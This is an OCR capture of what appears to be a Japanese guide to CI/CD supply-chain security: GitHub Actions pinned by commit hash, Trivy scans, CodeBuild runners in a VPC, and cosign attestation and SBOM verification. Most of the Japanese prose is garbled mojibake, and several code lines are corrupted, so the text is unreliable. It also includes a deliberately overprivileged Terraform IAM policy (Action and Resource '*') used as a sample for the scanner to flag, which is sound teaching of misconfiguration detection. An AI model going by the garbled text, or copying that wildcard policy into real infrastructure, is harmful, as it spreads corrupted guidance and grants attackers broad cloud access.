(m] ubuntu.24.04-t£.1.10.2-1, 1.10.2-1, latest Image 22;55:51' 187.52 & UR‘\W 0 sha2s6:et
(UTC+03)

ECR public gallery [3

3:7—=7477 7 FIARY I &L LTODECR
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3) EIL FETHORTEHEEDHIR

‘\
7DN4;—%E
RS R Y )
A
. J

36 : BV R T THEIFH O [R

3.22) [V—Ra—FREHIRT L ZOVKRY M) ERT T o F O
] D ICI/CD AT TAVERT 7 A /VOLR#] T lpush rulesets] %1
L TWDTIZD, FFED A AN—=LSMIE N RERT 7 A L EFHF TS0
WoEL 72T WD, F-, AIHLTWAY =AY 7 by = TIIEHEHTE 5
B EHOME (il AWS, GitHub, The Linux Foundation, Docker, Aqua
Security, HashiCorp. Canonical Ltd) BHEH TFOLODLEZFIHL TWAH7=8,
EEAICEELTH U RAZITERWREBL o TS, T b 2 oDOXEICK
. RERY—=IVDIRAY AT ZEMTE 5, MA T, BNV 7 =2—XT,
EBBEREOEEIZZEIL 2, 207D, WHEREW S BLENG b FITHIH
DR EZRTZ LB TE 5,

HIREFYOREMEDIER
%@mmmm )
QO+~
FANAy—EE
YRS Y >
EEO?,ZAH BLER
. J

37 KA D R DL

K OLZEEOHLELE LTI, IKGEYWO Y 7 N =T EEE L TOEH,
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MEgs B E, 2 L TR O - BEEMSO-ERNEZ NS, IKIFEHO
V7 by =T EEE L TOERB IO O AREX, 3.32) IV—2=
— K« R OEEME OB 12T, IKEY O st « BEIEMEIZOW T,
3.33) eV R ETOETHIPAOHIR] TEL LT,

GitHub Actions WCTHEHT AT 22—/ 7T 7 >3 > (action) HIKLFE
Mplind, ZHIZHOWTHLREENEEBETFEMEHETIVNEND S, H 21X
38 IZ/r9 Tactions/checkout] X, VARI FNURNDOIEEY Y —2H 0 2 5
T aryThy, 2O Tavd) 1TV YV —RX& 7 (Git #7) #mxrd, L
WL, 7O URTHRIFELINDSAREERH Y, RELITREL 2V, B
B LZARWETERIEAE L2 9, ASXEARICH S commit hash ZHfE LT
ETHZ ET, GitHub Actions D7 7 v a v O5ELRM « BEIEME AR LT
< fd?%)o 1213

% cat . github/workflows/build. ym
jobs:
build-and-del iver:
(HBg)
steps:
- name: Checkout
# uses: actions/checkout@v4
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683

X 38: 7 U NU (E/VR) REN TR S 7F Action @ commit hash f57&
7277 L. Trivy<CCosign & W o 7= EBMITE L2V MEAFY — /LT DWW,
TN DOEEMMEOIY A EZ, REMFIHE TH L —EAF— A2

T HEED OIS 72 DA REEN S 5

A ML—CHADERYDRE

) FAWSEL% (hREER) o=

5| ez
y

N 7

% 39 : 2 F L—NOREY) OIF-#

12.2024/10 T commit hash LAAMIZ X2 REMZ LR T 5 Immutable Actions 73 public preview & 7872,
https://github. com/features/preview/immutable—actions

BT N — g VEHY — )L T D Dependabot 1% commit hash 726 63—V g VA RBAETDHZENTE D
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DIEHETEOHEMET VNIT H-ODKRE

FTy NI d— AF— ADF— MERE L ODAEHBCH D 2 LD,
KR TFFGA L TIEEL REFUNY ZR—DOWHE LT, F07-0. {53
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3) T /N1 BF DL

FUNRY OFEFRNT, R E LT ECR EZF TR, Y—RAa— Ko Zip
77 ANELTGitHb RITRE SN D, fF¥Er 7 & LTI GitHub Actions @
U —7 7 a—@RNRRLILY Github EICHRE SN TS, £72, AFS ko
Cloudtrail I T 57T —& A X A AT UL, ECR ~OFEIEL TR S
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T35, ZRNZEHIMETE2ORY—EAF—LDCI/CD /A TFA4 > (LLF X
ATFA Bl) ThHD, "ATTALBIE, AT T4 A DEEWTHD
aVT A A= L AWS OFKFEY—7 Ly bEHAWT, Terraform 7 7 A /LD
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4. 3ELRTD—XDR#*E

NY—o Ly MERDFHEREK
INA T T4 BRFEOFEHIT WD, BT D,

2)V—RAOd—F - HEYMOEFEEDIEBR
AWSIEiﬂ (#—ERR) @ 1

Y—ERF—L

EILEER E

A :
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=B H

44 . V=2 a—F « FERYOEFIEDOHELR

AT 742 B DY —Aa— KX Terraform 7 7 A /L ThH V. EMIX
Terraform Plan (Tfplan) & 725, Tfplan [ZEUROERKNOEE INAHAHNE
LR L7 7 AV TH D, F7o, Tfplan 137 U NUKEO ASMEIZ /25 DT,
Wags it FCAR T T U F OGE THCAE OIRA 2T 2 iE 7R b7,
B 2 1 XHERRFX TE (CWE-266: Incorrect Privilege Assignment) D K 9 7Rk
MMEaAR T VA TRELEGA, ROLO BB AL FNOT R TEEH
T5% (TAXYRY) ZRELEZIMAY =V V=R Y 2 —OFEik )3
Zzbhvb,

% cat sample. tf
resource “aws_iam_role_policy” “sample” {
name = “ex—iam-role-policy”
role = aws_iam_role. sample. id
policy = jsonencode ({
Version = “2012-10-17",
Statement = [

Effect = “Allow”,
Action = "%
Resource = “*

45 : R DR A
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IO W o TERAMEZ Trivy TRHT 52 &0 Tcx5, !

check-misconfig:
name: SAST (misconfig)
runs-on: ubuntu-latest
permissions:
contents: read
pul l-requests: write
steps:
- name: Checkout repository
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
- name: trivy
uses: aquasecurity/trivy-action@18f2510ee396bbf400402947b394f2dd8¢87dbb0

env:
TRIVY_DEBUG: ' true

with:
version: v0.55.1
scan-type: config
scanners: terraform, terraformplan—json, terraformplan-snapshot
severity: 'CRITICAL, HIGH'
scan-ref: ./
format: table
output: misconfig-result. txt
exit-code: 1

46 : tL REREN THERL S 1072 Trivy OREREAE A %+

ZOWREET, FERMEDOFEIEEZ ST PR DMERRSNT-BSIL, RO T —
AR

«cl

© replaced secrets scan #114

I () Summary
Triggered via pull request 3 mo Status Total duration Billable time

Jobs @ ken5scal synchronize #20 feature/replace-secretlin. Failure 2m 20s 3m
pre

sast
e tf-plan.yml
© secrets-scan on; pull_request
@ build
Run details © e o o ¢ @ buid .
) Usage
5 workflow file

© sast 11z

@ secrets-scan 15

D&

A7 : FERAR B X D BV K7 = — XDl & @

Wk, MEELTE trivy 1 v0.56 TV | ERSTRITO v0. 58 SIXZEERARD Y | Si%—/Lid depreacted & 72

- TV 5 https://github. com/aquasecurity/trivy/discussions/7878
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sast summary

Misconfiguration Output
v Click to expand

sample_resource.tf (terraform)

Tests: 2 (SUCCESSES: @, FAILURES: 2, EXCEPTIONS: 0)
Failures: 2 (HIGH: 2, CRITICAL: 0)

HIGH: IAM policy document uses sensitive action 'x' on wildcarded resource 'x'

You should use the principle of least privilege when defining your IAM policies.

See https://avd.aquasec.com/misconfig/avd-aws-0057

sample_resource.tf:33
via sample_resource.tf:33 (aws_iam_role_policy.sample.policy)
via sample_resource.tf:32-41 (aws_iam_role_policy.sample.policy)
via sample_resource.tf:29-42 (aws_iam_role_policy.sample)

29 resource "aws_iam_role_policy" "sample" {
33 [ Version = "2012-10-17",

42 )

48 : TR L 7oA RAMIE O PN A 8 N

HERRICIZ . 7' v b7 — L F— LB LT ANS 7w /3 27— List
DARFFATH BT aA AL X —OFARLE Y 2 — A OBEME | (FHEMEZEA
HZETHD, 2OV VAT NLORERELT, VR RV DT 7R
HERROBRER, EN RELELTHTF U F~DLE2—>D Rulesets 12X %
SR E B R B,

33



3) EIL K ETOERITEE DR

49 : BV KL TOEITHIPH OS] R

ClERT 7 A NVOLRETIER LUOHER D F/AMEIZ DWW TIEL, N4 7T A A
ERBRD T, Z ZTIXEAKT 5,

RATTAVBOEN RT 2= AT, RHOENV R, TA L AXT—
ARG, BARRGER E DT OISR Y — v E WD, KIFE LT
TUE7e 5720 Terraform 231 1 U X2 AWS Terraform Provider X, 7T v 7
F— LT — LR T DT A A=V ERAT S, TOLZEIEOMRIZ
OWTIL, 4. 34) [ {KfFEMORZEREOHL] THHT 5,

TSR E LT, BRILAAWSRSA a—RE2R&ELARWES, B
H)'%f‘i@%nﬁﬁﬁaéﬁ%ﬂﬁﬁ#éﬁ{iﬂ%z 55, GitHub Actions (2T 54k
Wy hU— 27 BERIBIZ. 47 L I 2D GitHub Enterprise ¥—/X—DFl|
FALIAMC &, AWS [ CodeBuild Project #fAEx > 7 —2 (AWS VPC) T
RABRL, £ZTGitHub Actions OBET5Z & THHEITEDH, THITX
V. A EE{E % Security Group =° AWS Network Firewall., & A3l B+
DT a =R —F ¢ 7 L, RRERIT L & LD EEOHIE S A EE
7%, MAT, DNS UV s =l a7 VPC Flow Logs (2 X 28I
RSN, Ry NU—J BB ITHar hae—J 807 s NH ET 5,
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/9

-
—~

Virtual private cloud (VPC) @®

Amazon WPC Flow Logs

@ Public subnet

Amazon Route 53 Resolver
Query Logging

Amazon VAC Internet
Gatgway

ba

4

4

Amazon YPq NAT Gateway

Private subnet

€

Amazan Elastic Container
Registry

Amazan VPQ Endpoints AWS CodeBuild
«—

Amazon Simple Storage
Service 53 Standard

50 : AWS @ VPC |Z & 2 BE 5[

%% 9% GitHub Actions DFXFE & CodeBuild DX IE & 17,

% cat . github/workflows/tf-plan. tf

jobs:
(HBR)
build:

needs: [pre]

env:
ENV: ${{ needs. pre. outputs. env }}
AWS_ACCOUNT: ${{ needs. pre. outputs. aws_account }}
runs-on: codebuild-${{ needs. pre. outputs, env }}-infra-build-pj-
${[ github. run_id }}-${{ github. run_attempt }}-arm-3.0-smal |

X 51 BV RERENTE L REITEREE A CodeBui ld IZHET 55tk

Source

Source provider Source identifier Repository Source version
GitHub

Git clone depth Git submodules

1 False

¥ Primary source webhook events

Webhook
http5://9ithub‘com/secure-brigade/mo:k-prv-infra/settings/hocks/-

Filter group 1

Event type
WORKFLOW_JOB_QUEUED
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52 : CodeBui ld fll> GitHub V 7R | VU $57E DT

BB, BRRMIETIEH D05, Azure THFEAROHAFAANRAE S LTV D I1ED,
GitLab ¥ AWS CodeBuild & OEHENRIFEL E 2 b D,

4) KEHOREMHEDER

SEE (Y—E AR @ M
AW A

. EETCECEE

l,@ .

53 : AT D2 ENEDFELR

T, TT v N T TF—LDEL WA TFA A=V ERET HME
Wb, WERa T A A=V &G LI28E1E, GitHub Actions DM a
T arERETLHEELEILLS, —EHEOAA—VX AV = A (image
digest) ZfEETHZ L TU R KT 5,

Flo. Y= AF =L LT BB LEary T A4 A—VoREN 2
BT HMENDHD, Y—EATF—AIZL > TOLZEMEDOERIIAETITAL
3, B U 72 BB D2 EMERERBZ IR D A 2 7 — % D5 M & itk -
WEETAMENH D, 3.32) [V—2Ra—F -« B OEEEOHGE] TR
TEBY, T N7 H—ATF—LRBaLTF A A= L L HIT SBOM X SLSA
Provenance & A #7—# & L THARK « B4 L, ECRIZIRE LTS, h—EX
F—I20E cosign VL EHNT, TNHDAXT—X2E2FH L L HICEIEL,
SERMAERGET D, BADOKRGEICIX, 7T v N7+ — A F — LEFH T OMRGE
g (KMS) i+ 5,
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jjobs:
pre:
runs-on: ubuntu-latest
(HPER)
verify-attestation:
needs: [pre]

env:
ENV: ${{ needs. pre. outputs. env }}
AWS_ACCOUNT: ${{ needs. pre. outputs. aws_account }}
runs—on: codebuild-${{ needs. pre. outputs. env }}-infra-build-pj-
${{ github. run_id }}-${{ github. run_attempt }}-arm-3.0-smal |
steps:
- name: Checkout repository
uses: act|ons/checkout@11bd71901bbe5b1630ceea73d2759736409af683
- name: Install Cosign
uses: sigstore/cosign-installer@dc72¢7d5¢c4d10cd6bch8cfbe3fd625a9e5e537da
- name: Login to Amazon ECR
id: login-ecr
uses: aws—actions/amazon-ecr-
|ogin@062b1ﬁb96a7aff071d4d091chOc4c1a7945b076
with:
registries: “${{ env. AWS_CENTRAL_MANAGED_AGCOUNT }}~
=~ name: |Vern‘y And Obtain ABOM and Attestation
run
lMAGE DIGEST= ${[ steps. login-ecr. outputs. registry }}/tf-
env. IMAGE_DIGEST }}~
cosign verify-attestation $IMAGE_DIGEST ¥
—private-infrastructure=true ¥
—key awskms:///arn:aws:kms:ap—-northeast-1:xxxxxxx:al ias/cosign-key ¥
—type slsaprovenance02 > /tmp/downloaed-verified-attestaton. json
cosign verify-attestation $IMAGE_DIGEST ¥
—private-infrastructure=true ¥
—key awskms:///arn:aws:kms:ap-northeast-1:xxxxxxx:alias/cosign-key ¥
—type cyclonedx > /tmp/downloaed-ver ified-sbom. cdx. json

—

image@$ {

54 : cosign Z oo =TT v T F— LT — LMD X X T — X DES L BL G

AT FTARA—TERAEZ T OEEENBRINT L, RICEZEME
BT LFIE~BL, v —ERF—LOMge M G #HIMENL T X 5 0 sk
H120%, BB L7 7 A 0D~ A 0 — K% Base6d 5 22— K LT, FEFED SBOM
T ANERSET S (K 55), Trivy TZEONKF =R L, MEytEE sz

Mo Labt, RG24 D,

cat /tmp/down|oaed-verified-sbom. cdx. json
{"payloadType”:“application/vnd. in-toto+json”, “payload”:“eyJfd (E&)
0=", "signatures”: [{"keyid”:"", "sig”:"
> /tmp/cdx. json
cat . github/workf lows/verify-container. tf
% trivy sbom /tmp/cdx. json
(mg)
/tmp/cdx. json (ubuntu 24. 04)
Total: 14 (UNKNOWN: O, LOW: 6, MEDIUM: 8, HIGH: 0, CRITICAL: 0)
(gobinary)

T?Eggi 2 (UNKNOWN: O, LOW: O, MEDIUM: O, HIGH: 1, CRITICAL: 1)

cat /tmp/downloaed-ver ified-sbom. cdx. json| jg -r .payload | base64 -d | jg -r .predicate

55 : Bifg L7= A # 5 — X O EEEOME DS

M2 T, arvTFAA=UNEDOLIREBELE T ATHEKINLTZD)N
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ZHRFET Y581, SLSA Provenance #5925, SBOM [Alfk, A 1 — K& fiF
M3+5Z2LT, ZOAA—VDOENL NRENT—EXF—LDOHFETE LN
W35, B, HEICHL XD, YT = v Z7ICOWTTEHAMDEW
720, EBEICIZE I Lae CEMRG T OMLENRD D,

5 R FL—CHOBREYDIRE

BV R7 2 — X CAERINT Tfplan 7 7 A ME S3 3y MRGET A &
2725, TOBE, N7y bOtvXx ol T o b T MRS 2 5508,
S3 Ny NDOZERICET D FEIT N, T T4 2 B A OFEIETIE RV
B, RETIIFEMAEEET D,

4. 4FYNY 2z —XNDRHE
AWSI’"{!Q (H—E2H)

P R I

56 : 7 UANY 7 = — XDRE

DTFUN)EFICFIRYT 5RO GFRE

TUNYEBEREICBWN TS, B FEE & [FARIZ VPC D AWS CodeBuild
Project C GitHub Actions ZF{T9 5, Z 2 TEREXIE & 725 EKRIL, AUS
CodeBuild IZEID ¥ THND IMr—LTHDH, BENEEZHEHTH72DX0
ﬁﬁ&%@#%gkﬁétb\twk%kiﬂﬁéﬂmm~W(kiU
CodeBuild 7m v =7 K) ZHETHI L LD, BB, ZNOLDOTEIT A
T4V BICEAOERETIIRWD, AETIXHEMZEZT 5,

DEHETEIREMET )N T H=-HDIRE

T CITHRGEE D Tfplan 7 7 A V& EOERM EZRET D S3NT v bD
X2 U7 DEYICHERI LTI, —EDEEEZHHETE S, A%
DO TIEH DD, b —ERF — LOHBILRKRE AT — 7 RILE —D
BEICL->T, EART 2 —XDOEBREZELTFTINY 72— XDOEKBERE.
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P —ERTF — LANOHERER N B2 2G5 EEIND, TD XD BREEIX.
FBIWE [Ty T4 —LF—LDCL/CD /A T T A 2] T~ 7z & RERIC,
Tfplan 7 7 A L ~DE-HX° Provenance 72 ED XA X5 — X2 AR « FiGE+ 5~

HERAZEBATLZENANTH D,

3) T )N\ 1) B DEEHS

GitHub EToOMEFRIZ. 3.43) [F U NNUKEOFES L RERICITZ S, F2.
EVRT 2= A TAK ST Tfplan 7 7 A /L bEEEF & L CIEHTRETTH 5,

terraform show artifacts/tfplan

actions are
indicated with the following symbols:
+ create

Terraform will perform the following actions:
# aws_iam_ roIe _policy. sample will be created

+ resource “aws_iam_role_policy” “sample” {
+ id = (known after apply)

+ name = "9e2364d7-6742- 0855 £186-7bf225edaf7b—iam-role-policy”
+ name_prefix = (known after apply)
+ policy = jsonencode (
+ Statement = [
+
+ Action = "x"
+ Effect = "Allow”
+ Resource = “x”
I
+ Version = "2012-10-17"
)
+ role = "0e2364d7-6742-0855-F186-7bf225edaf7b—iam-role”

}
Plan: 1 to add, 0 to change, 0 to destroy

Terraform used the selected providers to generate the following execution plan

Resource

57 : Tfplan 2> 5B 2 A HNE
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